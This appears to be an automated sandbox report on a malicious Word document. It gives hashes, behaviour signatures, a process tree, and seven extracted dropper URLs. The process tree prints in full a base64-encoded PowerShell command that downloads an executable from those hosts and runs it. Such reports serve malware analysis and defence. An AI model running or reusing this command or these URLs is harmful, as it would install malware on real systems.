Analysis

  • max time kernel
    58s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 23:35

General

  • Target

    cf1ece29b7f8224cd20d9cfef8dbb20e9948f411dcdb9914a6e729561513086b.doc

  • Size

    228KB

  • MD5

    db1af58f3332ff6f0a504bd7bf0e2971

  • SHA1

    5bb6ad1dd74e0a2c39952476542c943fd8926552

  • SHA256

    cf1ece29b7f8224cd20d9cfef8dbb20e9948f411dcdb9914a6e729561513086b

  • SHA512

    58b08203210e8b0d76e254623f68f8d0a0146d777fe8ef98244b05ce53d7b528016efc42f4f4b4ed6d38d66457cfc3d0684e7310ef4894d9640cdf154325d268

  • SSDEEP

    3072:3Yy0u8YGgjv+ZvchmkHcI/o1/Vb6///////////////////////////////////7:50uXnWFchmmcI/o1/qJQ29Iey3HwUK

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://lepik.pri.ee/melius/tv471975685/

exe.dropper

http://metanopoly.com/cgi-bin/Krt1152299/

exe.dropper

http://michaeljunk.de/assets/file/HcQLJ/

exe.dropper

http://minerva-bg.net/tutorials/attach/ntHZgJIgtRB/

exe.dropper

http://michna.de/cgi-bin/attach/LUHJFwPAGqOw/

exe.dropper

http://mietelski.de/AdvancedGuestbook_01/uy0gyfv41428711/

exe.dropper

http://miragestudio.ro/journal/attach/gCmLwZCcGjpMe/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cf1ece29b7f8224cd20d9cfef8dbb20e9948f411dcdb9914a6e729561513086b.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABDAGsANgBrAHUAMAB5AD0AKAAoACcAVgA2AGYAJwArACcANwBjACcAKQArACcAdAAwACcAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgBWADoAdABlAG0AUABcAFcATwBSAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBDAGAAVQByAGkAdABgAFkAcAByAGAATwBUAE8AYwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAgACcAKwAnAHQAJwApACsAJwBsACcAKwAnAHMAMQAnACsAKAAnADEALAAnACsAJwAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQARAB1ADQAMABkAGcAbAAgAD0AIAAoACcAUwBiACcAKwAoACcAdgB6AGgAdgAnACsAJwBnACcAKQApADsAJABPAGQAXwA2AHkAcwB3AD0AKAAoACcAVAAnACsAJwBnADcAJwApACsAKAAnAHcAOQAnACsAJwBvACcAKQArACcAcQAnACkAOwAkAFoANABuAHQAeQA2AHMAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAoACcANQAyACcAKwAnAEwAJwApACsAKAAnAHcAbwAnACsAJwByACcAKwAnAGQANQAyACcAKQArACgAJwBMADIAMAAxADkAJwArACcANQAyAEwAJwApACkALgAiAHIAZQBgAHAATABgAEEAYwBlACIAKAAoAFsAQwBoAEEAUgBdADUAMwArAFsAQwBoAEEAUgBdADUAMAArAFsAQwBoAEEAUgBdADcANgApACwAWwBzAFQAcgBpAG4AZwBdAFsAQwBoAEEAUgBdADkAMgApACkAKwAkAEQAdQA0ADAAZABnAGwAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEQAeAB6ADQAegB3AGUAPQAoACcAUAAnACsAJwBzACcAKwAoACcAagBiACcAKwAnAHYAdwBiACcAKQApADsAJABDAG4AYgB2AHMAdQBkAD0ALgAoACcAbgBlACcAKwAnAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBCAEMAbABpAGUAbgB0ADsAJABFAGMAawBlAHAAcQBxAD0AKAAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwBsACcAKwAnAGUAcABpACcAKwAnAGsALgAnACkAKwAoACcAcAByACcAKwAnAGkAJwApACsAKAAnAC4AJwArACcAZQBlAC8AbQAnACsAJwBlAGwAJwArACcAaQB1ACcAKQArACgAJwBzAC8AdAAnACsAJwB2ADQANwAnACsAJwAxADkANwA1ACcAKwAnADYAOAA1ACcAKQArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AbQBlAHQAYQAnACkAKwAnAG4AbwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBsACcAKwAnAHkALgBjAG8AbQAvAGMAZwAnACkAKwAoACcAaQAtACcAKwAnAGIAaQBuAC8ASwByACcAKwAnAHQAJwArACcAMQAxADUAJwArACcAMgAyACcAKQArACcAOQA5ACcAKwAoACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAnAC8AbQAnACsAKAAnAGkAYwAnACsAJwBoAGEAJwApACsAKAAnAGUAbABqAHUAJwArACcAbgBrAC4AZABlACcAKwAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAnAHQAJwArACcAcwAnACsAJwAvACcAKwAoACcAZgBpAGwAJwArACcAZQAvAEgAYwBRAEwAJwArACcASgAnACsAJwAvACoAaAB0ACcAKQArACcAdABwACcAKwAoACcAOgAnACsAJwAvAC8AbQBpACcAKQArACgAJwBuAGUAcgAnACsAJwB2ACcAKQArACgAJwBhAC0AYgAnACsAJwBnACcAKQArACgAJwAuACcAKwAnAG4AZQB0ACcAKQArACcALwB0ACcAKwAnAHUAdAAnACsAKAAnAG8AJwArACcAcgAnACsAJwBpAGEAbABzAC8AYQAnACkAKwAnAHQAdAAnACsAKAAnAGEAYwBoACcAKwAnAC8AJwArACcAbgAnACsAJwB0AEgAWgBnAEoASQBnACcAKwAnAHQAUgAnACsAJwBCAC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAvAG0AJwArACcAaQAnACkAKwAnAGMAaAAnACsAJwBuACcAKwAoACcAYQAuACcAKwAnAGQAJwApACsAKAAnAGUALwAnACsAJwBjAGcAJwApACsAJwBpACcAKwAnAC0AYgAnACsAKAAnAGkAbgAvAGEAdAB0ACcAKwAnAGEAYwBoAC8AJwArACcATABVACcAKwAnAEgASgBGACcAKwAnAHcAUAAnACkAKwAoACcAQQBHACcAKwAnAHEAJwArACcATwB3AC8AKgAnACsAJwBoAHQAdABwADoALwAnACkAKwAnAC8AJwArACcAbQBpACcAKwAnAGUAdAAnACsAJwBlACcAKwAoACcAbABzACcAKwAnAGsAJwApACsAJwBpAC4AJwArACgAJwBkAGUAJwArACcALwBBAGQAJwApACsAKAAnAHYAYQAnACsAJwBuAGMAJwApACsAKAAnAGUAZAAnACsAJwBHACcAKQArACgAJwB1ACcAKwAnAGUAcwB0AGIAbwAnACsAJwBvAGsAJwApACsAKAAnAF8AJwArACcAMAAxACcAKQArACcALwB1ACcAKwAnAHkAJwArACcAMAAnACsAKAAnAGcAJwArACcAeQBmAHYAJwApACsAKAAnADQAMQA0ACcAKwAnADIAOAAnACsAJwA3ADEAJwApACsAJwAxACcAKwAnAC8AJwArACgAJwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAG0AaQByACcAKQArACgAJwBhAGcAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwB0AHUAZAAnACkAKwAnAGkAJwArACgAJwBvAC4AJwArACcAcgBvAC8AJwApACsAKAAnAGoAbwAnACsAJwB1AHIAbgBhAGwAJwArACcALwBhACcAKwAnAHQAdABhACcAKwAnAGMAaAAnACkAKwAoACcALwBnAEMAJwArACcAbQAnACkAKwAoACcATAB3ACcAKwAnAFoAQwAnACkAKwAoACcAYwBHAGoAcAAnACsAJwBNACcAKwAnAGUALwAnACkAKQAuACIAcwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAHUAegByADAANABjAD0AKAAoACcARwB1ACcAKwAnAGYAJwApACsAKAAnADgAJwArACcAeQBtACcAKQArACcAbwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAGIAcABfADcAMwB5ACAAaQBuACAAJABFAGMAawBlAHAAcQBxACkAewB0AHIAeQB7ACQAQwBuAGIAdgBzAHUAZAAuACIAZABgAE8AVwBuAEwATwBhAEQAZgBgAGkATABFACIAKAAkAFUAYgBwAF8ANwAzAHkALAAgACQAWgA0AG4AdAB5ADYAcwApADsAJABQAHUAdQB1ADcAbwB3AD0AKAAnAFoAJwArACgAJwBvACcAKwAnAGoAZwBpACcAKQArACcAdQBfACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABaADQAbgB0AHkANgBzACkALgAiAEwAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgAyADYAOQAxACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFoANABuAHQAeQA2AHMAKQA7ACQASQB0AG4AegAwAGMAbQA9ACgAKAAnAEkAdQAnACsAJwBmACcAKQArACcAcgBoACcAKwAnADAAagAnACkAOwBiAHIAZQBhAGsAOwAkAFgAcABiAGIAcwB5AHoAPQAoACcAUwBzACcAKwAnAHYAdQAnACsAKAAnADgAJwArACcAZQB6ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADQAbAA1AGEAeQB4AD0AKAAnAEYAXwAnACsAKAAnAHQANgBxACcAKwAnAHMAMwAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2740

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1048-30-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/1048-46-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/1048-2-0x0000000071B1D000-0x0000000071B28000-memory.dmp

      Filesize

      44KB

    • memory/1048-6-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1048-8-0x0000000006080000-0x0000000006180000-memory.dmp

      Filesize

      1024KB

    • memory/1048-7-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1048-9-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1048-0-0x000000002F7B1000-0x000000002F7B2000-memory.dmp

      Filesize

      4KB

    • memory/1048-49-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/1048-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1048-18-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/1048-29-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/1048-32-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/1048-27-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/1048-48-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/1048-44-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1048-45-0x0000000071B1D000-0x0000000071B28000-memory.dmp

      Filesize

      44KB

    • memory/1048-28-0x0000000005950000-0x0000000005A50000-memory.dmp

      Filesize

      1024KB

    • memory/2740-39-0x00000000024A0000-0x00000000024A8000-memory.dmp

      Filesize

      32KB

    • memory/2740-38-0x000000001B210000-0x000000001B4F2000-memory.dmp

      Filesize

      2.9MB